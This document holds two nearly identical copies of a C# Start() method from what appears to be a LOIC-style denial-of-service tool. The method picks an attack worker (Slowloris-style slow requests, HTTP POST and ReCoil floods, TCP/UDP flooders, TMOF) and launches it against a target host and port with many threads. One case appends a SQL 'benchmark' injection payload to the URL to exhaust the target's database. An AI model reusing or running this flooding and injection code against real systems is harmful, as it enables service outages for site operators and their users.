Example #1
0
        public void Start()
        {
            this.Stop();
            switch (this.Method)
            {
            case AttackMethod.HTTP:
                //Worker = new HTTPFlooder( this._dnsString, Target.ToString(), Port, Subsite, WaitForResponse, Delay, Timeout, this.AppendRandomChars || this.AppendRandomCharsUrl, UseGZIP, Threads, 0, this.Spt );
                break;

            case AttackMethod.ReCoil:
                this.Worker = new ReCoil(
                    this._dnsString,
                    this.Target.ToString(),
                    this.Port,
                    this.Subsite,
                    this.Delay,
                    this.Timeout,
                    this.AppendRandomChars || this.AppendRandomCharsUrl,
                    this.WaitForResponse,
                    this.Spt,
                    this.UseGZIP,
                    this.Threads);
                break;

            case AttackMethod.SlowLOIC:
                this.Worker = new SlowLoic(
                    this._dnsString,
                    this.Target.ToString(),
                    this.Port,
                    this.Subsite,
                    this.Delay,
                    this.Timeout,
                    this.AppendRandomChars || this.AppendRandomCharsUrl,
                    this.Spt,
                    this.AppendRandomCharsUrl,
                    this.UseGet,
                    this.UseGZIP,
                    this.Threads);
                break;

            case AttackMethod.TCP:
            case AttackMethod.UDP:
                this.Worker = new AsyncFlooderWrapper(
                    new IPEndPoint(this.Target, this.Port),
                    this.Method == AttackMethod.TCP
                            ? ProtocolType.Tcp
                            : ProtocolType.Udp,
                    this.Threads
                    );
                break;

            case AttackMethod.RefRef:
                this.Subsite +=
                    " and (select+benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f))".
                    Replace(
                        " ",
                        "%20");
                //Worker = new HTTPFlooder( this._dnsString, Target.ToString(), Port, Subsite, WaitForResponse, Delay, Timeout, this.AppendRandomChars || this.AppendRandomCharsUrl, UseGZIP, Threads, 0, this.Spt );
                break;

            case AttackMethod.AhrDosme:
                //Worker = new HTTPFlooder( this._dnsString, Target.ToString(), Port, Subsite, WaitForResponse, Delay, Timeout, this.AppendRandomChars || this.AppendRandomCharsUrl, UseGZIP, Threads, 1, this.Spt );
                break;

            case AttackMethod.Post:
                this.Worker = new PostAttack(
                    this._dnsString,
                    this.Target.ToString(),
                    this.Port,
                    this.Subsite,
                    this.WaitForResponse,
                    this.Delay,
                    this.Timeout,
                    this.AppendRandomChars || this.AppendRandomCharsUrl,
                    this.UseGZIP,
                    this.Threads);
                break;

            case AttackMethod.TMOF:
                this.Worker = new TMOF(
                    this.Target.ToString(),
                    this.Port,
                    this.Threads,
                    int.MaxValue);
                break;

            default:
                throw new NotImplementedException("Code it yourself, lazy bastard");
            }
            this.Worker.Start();
        }
Example #2
0
 public void Start()
 {
     this.Stop();
     switch ( this.Method ) {
         case AttackMethod.HTTP:
             //Worker = new HTTPFlooder( this._dnsString, Target.ToString(), Port, Subsite, WaitForResponse, Delay, Timeout, this.AppendRandomChars || this.AppendRandomCharsUrl, UseGZIP, Threads, 0, this.Spt );
             break;
         case AttackMethod.ReCoil:
             this.Worker = new ReCoil(
                 this._dnsString,
                 this.Target.ToString(),
                 this.Port,
                 this.Subsite,
                 this.Delay,
                 this.Timeout,
                 this.AppendRandomChars || this.AppendRandomCharsUrl,
                 this.WaitForResponse,
                 this.Spt,
                 this.UseGZIP,
                 this.Threads );
             break;
         case AttackMethod.SlowLOIC:
             this.Worker = new SlowLoic(
                 this._dnsString,
                 this.Target.ToString(),
                 this.Port,
                 this.Subsite,
                 this.Delay,
                 this.Timeout,
                 this.AppendRandomChars || this.AppendRandomCharsUrl,
                 this.Spt,
                 this.AppendRandomCharsUrl,
                 this.UseGet,
                 this.UseGZIP,
                 this.Threads );
             break;
         case AttackMethod.TCP:
         case AttackMethod.UDP:
             this.Worker= new AsyncFlooderWrapper(
                 new IPEndPoint( this.Target, this.Port ),
                 this.Method == AttackMethod.TCP
                     ? ProtocolType.Tcp
                     : ProtocolType.Udp,
                 this.Threads
             );
             break;
         case AttackMethod.RefRef:
             this.Subsite +=
                 " and (select+benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f))".
                     Replace(
                         " ",
                         "%20" );
             //Worker = new HTTPFlooder( this._dnsString, Target.ToString(), Port, Subsite, WaitForResponse, Delay, Timeout, this.AppendRandomChars || this.AppendRandomCharsUrl, UseGZIP, Threads, 0, this.Spt );
             break;
         case AttackMethod.AhrDosme:
             //Worker = new HTTPFlooder( this._dnsString, Target.ToString(), Port, Subsite, WaitForResponse, Delay, Timeout, this.AppendRandomChars || this.AppendRandomCharsUrl, UseGZIP, Threads, 1, this.Spt );
             break;
         case AttackMethod.Post:
             this.Worker = new PostAttack(
                 this._dnsString,
                 this.Target.ToString(),
                 this.Port,
                 this.Subsite,
                 this.WaitForResponse,
                 this.Delay,
                 this.Timeout,
                 this.AppendRandomChars || this.AppendRandomCharsUrl,
                 this.UseGZIP,
                 this.Threads );
             break;
         case AttackMethod.TMOF:
             this.Worker = new TMOF(
                 this.Target.ToString(),
                 this.Port,
                 this.Threads,
                 int.MaxValue );
             break;
         default:
             throw new NotImplementedException( "Code it yourself, lazy bastard" );
     }
     this.Worker.Start();
 }